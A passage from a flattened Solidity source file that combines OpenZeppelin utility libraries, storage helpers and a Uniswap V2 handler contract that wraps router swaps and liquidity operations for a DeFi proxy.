*/ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // File: contracts/interface/IERC20Usdt.sol pragma solidity ^0.6.0; interface IERC20Usdt { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external; function transferFrom( address sender, address recipient, uint256 amount ) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/Config.sol pragma solidity ^0.6.0; contract Config { // function signature of "postProcess()" bytes4 public constant POSTPROCESS_SIG = 0xc2722916; // The base amount of percentage function uint256 public constant PERCENTAGE_BASE = 1 ether; // Handler post-process type. Others should not happen now. enum HandlerType {Token, Custom, Others} } // File: contracts/lib/LibCache.sol pragma solidity ^0.6.0; library LibCache { function set( mapping(bytes32 => bytes32) storage _cache, bytes32 _key, bytes32 _value ) internal { _cache[_key] = _value; } function setAddress( mapping(bytes32 => bytes32) storage _cache, bytes32 _key, address _value ) internal { _cache[_key] = bytes32(uint256(uint160(_value))); } function setUint256( mapping(bytes32 => bytes32) storage _cache, bytes32 _key, uint256 _value ) internal { _cache[_key] = bytes32(_value); } function getAddress( mapping(bytes32 => bytes32) storage _cache, bytes32 _key ) internal view returns (address ret) { ret = address(uint160(uint256(_cache[_key]))); } function getUint256( mapping(bytes32 => bytes32) storage _cache, bytes32 _key ) internal view returns (uint256 ret) { ret = uint256(_cache[_key]); } function get(mapping(bytes32 => bytes32) storage _cache, bytes32 _key) internal view returns (bytes32 ret) { ret = _cache[_key]; } } // File: contracts/lib/LibStack.sol pragma solidity ^0.6.0; library LibStack { function setAddress(bytes32[] storage _stack, address _input) internal { _stack.push(bytes32(uint256(uint160(_input)))); } function set(bytes32[] storage _stack, bytes32 _input) internal { _stack.push(_input); } function setHandlerType(bytes32[] storage _stack, Config.HandlerType _input) internal { _stack.push(bytes12(uint96(_input))); } function getAddress(bytes32[] storage _stack) internal returns (address ret) { ret = address(uint160(uint256(peek(_stack)))); _stack.pop(); } function getSig(bytes32[] storage _stack) internal returns (bytes4 ret) { ret = bytes4(peek(_stack)); _stack.pop(); } function get(bytes32[] storage _stack) internal returns (bytes32 ret) { ret = peek(_stack); _stack.pop(); } function peek(bytes32[] storage _stack) internal view returns (bytes32 ret) { require(_stack.length > 0, "stack empty"); ret = _stack[_stack.length - 1]; } } // File: contracts/Storage.sol pragma solidity ^0.6.0; /// @notice A cache structure composed by a bytes32 array contract Storage { using LibCache for mapping(bytes32 => bytes32); using LibStack for bytes32[]; bytes32[] public stack; mapping(bytes32 => bytes32) public cache; // keccak256 hash of "msg.sender" // prettier-ignore bytes32 public constant MSG_SENDER_KEY = 0xb2f2618cecbbb6e7468cc0f2aa43858ad8d153e0280b22285e28e853bb9d453a; // keccak256 hash of "cube.counter" // prettier-ignore bytes32 public constant CUBE_COUNTER_KEY = 0xf9543f11459ccccd21306c8881aaab675ff49d988c1162fd1dd9bbcdbe4446be; modifier isStackEmpty() { require(stack.length == 0, "Stack not empty"); _; } modifier isCubeCounterZero() { require(_getCubeCounter() == 0, "Cube counter not zero"); _; } modifier isInitialized() { require(_getSender() != address(0), "Sender is not initialized"); _; } modifier isNotInitialized() { require(_getSender() == address(0), "Sender is initialized"); _; } function _setSender() internal isNotInitialized { cache.setAddress(MSG_SENDER_KEY, msg.sender); } function _resetSender() internal { cache.setAddress(MSG_SENDER_KEY, address(0)); } function _getSender() internal view returns (address) { return cache.getAddress(MSG_SENDER_KEY); } function _addCubeCounter() internal { cache.setUint256(CUBE_COUNTER_KEY, _getCubeCounter() + 1); } function _resetCubeCounter() internal { cache.setUint256(CUBE_COUNTER_KEY, 0); } function _getCubeCounter() internal view returns (uint256) { return cache.getUint256(CUBE_COUNTER_KEY); } } // File: contracts/handlers/HandlerBase.sol pragma solidity ^0.6.0; abstract contract HandlerBase is Storage, Config { using SafeERC20 for IERC20; function postProcess() external payable virtual { revert("Invalid post process"); /* Implementation template bytes4 sig = stack.getSig(); if (sig == bytes4(keccak256(bytes("handlerFunction_1()")))) { // Do something } else if (sig == bytes4(keccak256(bytes("handlerFunction_2()")))) { bytes32 temp = stack.get(); // Do something } else revert("Invalid post process"); */ } function _updateToken(address token) internal { stack.setAddress(token); // Ignore token type to fit old handlers // stack.setHandlerType(uint256(HandlerType.Token)); } function _updatePostProcess(bytes32[] memory params) internal { for (uint256 i = params.length; i > 0; i--) { stack.set(params[i - 1]); } stack.set(msg.sig); stack.setHandlerType(HandlerType.Custom); } function getContractName() public pure virtual returns (string memory); function _revertMsg(string memory functionName, string memory reason) internal view { revert( string( abi.encodePacked( _uint2String(_getCubeCounter()), "_", getContractName(), "_", functionName, ": ", reason ) ) ); } function _revertMsg(string memory functionName) internal view { _revertMsg(functionName, "Unspecified"); } function _uint2String(uint256 n) internal pure returns (string memory) { if (n == 0) { return "0"; } else { uint256 len = 0; for (uint256 temp = n; temp > 0; temp /= 10) { len++; } bytes memory str = new bytes(len); for (uint256 i = len; i > 0; i--) { str[i - 1] = bytes1(uint8(48 + (n % 10))); n /= 10; } return string(str); } } function _getBalance(address token, uint256 amount) internal view returns (uint256) { if (amount != uint256(-1)) { return amount; } // ETH case if ( token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) ) { return address(this).balance; } // ERC20 token case return IERC20(token).balanceOf(address(this)); } function _tokenApprove( address token, address spender, uint256 amount ) internal { try IERC20Usdt(token).approve(spender, amount) {} catch { IERC20(token).safeApprove(spender, 0); IERC20(token).safeApprove(spender, amount); } } } // File: contracts/handlers/uniswapv2/IUniswapV2Pair.sol pragma solidity >=0.6.0; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/handlers/uniswapv2/libraries/UniswapV2Library.sol pragma solidity >=0.6.0; library UniswapV2Library { using SafeMath for uint256; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); } // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address tokenA, address tokenB ) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash ) ) ) ); } // fetches and sorts the reserves for a pair function getReserves( address factory, address tokenA, address tokenB ) internal view returns (uint256 reserveA, uint256 reserveB) { (address token0, ) = sortTokens(tokenA, tokenB); (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) internal pure returns (uint256 amountB) { require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT"); require( reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY" ); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); require( reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY" ); uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); require( reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY" ); uint256 numerator = reserveIn.mul(amountOut).mul(1000); uint256 denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut( address factory, uint256 amountIn, address[] memory path ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[0] = amountIn; for (uint256 i; i < path.length - 1; i++) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn( address factory, uint256 amountOut, address[] memory path ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[amounts.length - 1] = amountOut; for (uint256 i = path.length - 1; i > 0; i--) { (uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // File: contracts/handlers/uniswapv2/IUniswapV2Router02.sol pragma solidity ^0.6.0; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } // File: contracts/handlers/uniswapv2/HUniswapV2.sol pragma solidity ^0.6.0; contract HUniswapV2 is HandlerBase { using SafeERC20 for IERC20; using SafeMath for uint256; // prettier-ignore address public constant UNISWAPV2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; function getContractName() public pure override returns (string memory) { return "HUniswapV2"; } function addLiquidityETH( uint256 value, address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ) { // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); // Approve token value = _getBalance(address(0), value); amountTokenDesired = _getBalance(token, amountTokenDesired); _tokenApprove(token, UNISWAPV2_ROUTER, amountTokenDesired); // Add liquidity ETH try router.addLiquidityETH{value: value}( token, amountTokenDesired, amountTokenMin, amountETHMin, address(this), now + 1 ) returns (uint256 ret1, uint256 ret2, uint256 ret3) { amountToken = ret1; amountETH = ret2; liquidity = ret3; } catch Error(string memory reason) { _revertMsg("addLiquidityETH", reason); } catch { _revertMsg("addLiquidityETH"); } // Update involved token address pair = UniswapV2Library.pairFor(router.factory(), token, router.WETH()); _updateToken(pair); } function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin ) external payable returns ( uint256 amountA, uint256 amountB, uint256 liquidity ) { // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); // Approve token amountADesired = _getBalance(tokenA, amountADesired); amountBDesired = _getBalance(tokenB, amountBDesired); _tokenApprove(tokenA, UNISWAPV2_ROUTER, amountADesired); _tokenApprove(tokenB, UNISWAPV2_ROUTER, amountBDesired); // Add liquidity try router.addLiquidity( tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin, address(this), now + 1 ) returns (uint256 ret1, uint256 ret2, uint256 ret3) { amountA = ret1; amountB = ret2; liquidity = ret3; } catch Error(string memory reason) { _revertMsg("addLiquidity", reason); } catch { _revertMsg("addLiquidity"); } // Update involved token address pair = UniswapV2Library.pairFor(router.factory(), tokenA, tokenB); _updateToken(pair); } function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin ) external payable returns (uint256 amountToken, uint256 amountETH) { // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); address pair = UniswapV2Library.pairFor(router.factory(), token, router.WETH()); // Approve token liquidity = _getBalance(pair, liquidity); _tokenApprove(pair, UNISWAPV2_ROUTER, liquidity); // remove liquidityETH try router.removeLiquidityETH( token, liquidity, amountTokenMin, amountETHMin, address(this), now + 1 ) returns (uint256 ret1, uint256 ret2) { amountToken = ret1; amountETH = ret2; } catch Error(string memory reason) { _revertMsg("removeLiquidityETH", reason); } catch { _revertMsg("removeLiquidityETH"); } // Update involved token _updateToken(token); } function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin ) external payable returns (uint256 amountA, uint256 amountB) { // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); address pair = UniswapV2Library.pairFor(router.factory(), tokenA, tokenB); // Approve token liquidity = _getBalance(pair, liquidity); _tokenApprove(pair, UNISWAPV2_ROUTER, liquidity); // remove liquidity try router.removeLiquidity( tokenA, tokenB, liquidity, amountAMin, amountBMin, address(this), now + 1 ) returns (uint256 ret1, uint256 ret2) { amountA = ret1; amountB = ret2; } catch Error(string memory reason) { _revertMsg("removeLiquidity", reason); } catch { _revertMsg("removeLiquidity"); } // Update involved token _updateToken(tokenA); _updateToken(tokenB); } function swapExactETHForTokens( uint256 value, uint256 amountOutMin, address[] calldata path ) external payable returns (uint256 amount) { if (path.length < 2) _revertMsg("swapExactETHForTokens", "invalid path"); address tokenOut = path[path.length - 1]; // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); value = _getBalance(address(0), value); try router.swapExactETHForTokens{value: value}( amountOutMin, path, address(this), now + 1 ) returns (uint256[] memory amounts) { amount = amounts[amounts.length - 1]; } catch Error(string memory reason) { _revertMsg("swapExactETHForTokens", reason); } catch { _revertMsg("swapExactETHForTokens"); } _updateToken(tokenOut); } function swapETHForExactTokens( uint256 value, uint256 amountOut, address[] calldata path ) external payable returns (uint256 amount) { if (path.length < 2) _revertMsg("swapETHForExactTokens", "invalid path"); address tokenOut = path[path.length - 1]; // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); // if amount == uint256(-1) return balance of Proxy value = _getBalance(address(0), value); try router.swapETHForExactTokens{value: value}( amountOut, path, address(this), now + 1 ) returns (uint256[] memory amounts) { amount = amounts[0]; } catch Error(string memory reason) { _revertMsg("swapETHForExactTokens", reason); } catch { _revertMsg("swapETHForExactTokens"); } _updateToken(tokenOut); } function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path ) external payable returns (uint256 amount) { if (path.length < 2) _revertMsg("swapExactTokensForETH", "invalid path"); address tokenIn = path[0]; // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); // Approve token amountIn = _getBalance(tokenIn, amountIn); _tokenApprove(tokenIn, UNISWAPV2_ROUTER, amountIn); try router.swapExactTokensForETH( amountIn, amountOutMin, path, address(this), now + 1 ) returns (uint256[] memory amounts) { amount = amounts[amounts.length - 1]; } catch Error(string memory reason) { _revertMsg("swapExactTokensForETH", reason); } catch { _revertMsg("swapExactTokensForETH"); } } function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path ) external payable returns (uint256 amount) { if (path.length < 2) _revertMsg("swapTokensForExactETH", "invalid path"); address tokenIn = path[0]; // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); // if amount == uint256(-1) return balance of Proxy amountInMax = _getBalance(tokenIn, amountInMax); // Approve token _tokenApprove(tokenIn, UNISWAPV2_ROUTER, amountInMax); try router.swapTokensForExactETH( amountOut, amountInMax, path, address(this), now + 1 ) returns (uint256[] memory amounts) { amount = amounts[0]; } catch Error(string memory reason) { _revertMsg("swapTokensForExactETH", reason); } catch { _revertMsg("swapTokensForExactETH"); } } function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path ) external payable returns (uint256 amount) { if (path.length < 2) _revertMsg("swapExactTokensForTokens", "invalid path"); address tokenIn = path[0]; address tokenOut = path[path.length - 1]; // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); // Approve token amountIn = _getBalance(tokenIn, amountIn); _tokenApprove(tokenIn, UNISWAPV2_ROUTER, amountIn); try router.swapExactTokensForTokens( amountIn, amountOutMin, path, address(this), now + 1 ) returns (uint256[] memory amounts) { amount = amounts[amounts.length - 1]; } catch Error(string memory reason) { _revertMsg("swapExactTokensForTokens", reason); } catch { _revertMsg("swapExactTokensForTokens"); } _updateToken(tokenOut); } function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path ) external payable returns (uint256 amount) { if (path.length < 2) _revertMsg("swapTokensForExactTokens", "invalid path"); address tokenIn = path[0]; address tokenOut = path[path.length - 1]; // Get uniswapV2 router IUniswapV2Router02 router = IUniswapV2Router02(UNISWAPV2_ROUTER); // if amount == uint256(-1) return balance of Proxy amountInMax = _getBalance(tokenIn, amountInMax); // Approve token _tokenApprove(tokenIn, UNISWAPV2_ROUTER, amountInMax); try router.swapTokensForExactTokens( amountOut, amountInMax, path, address(this), now + 1 ) returns (uint256[] memory amounts) { amount = amounts[0]; } catch Error(string memory reason) { _revertMsg("swapTokensForExactTokens", reason); } catch { _revertMsg("swapTokensForExactTokens"); } _updateToken(tokenOut); } }
Get uniswapV2 router Approve token remove liquidity
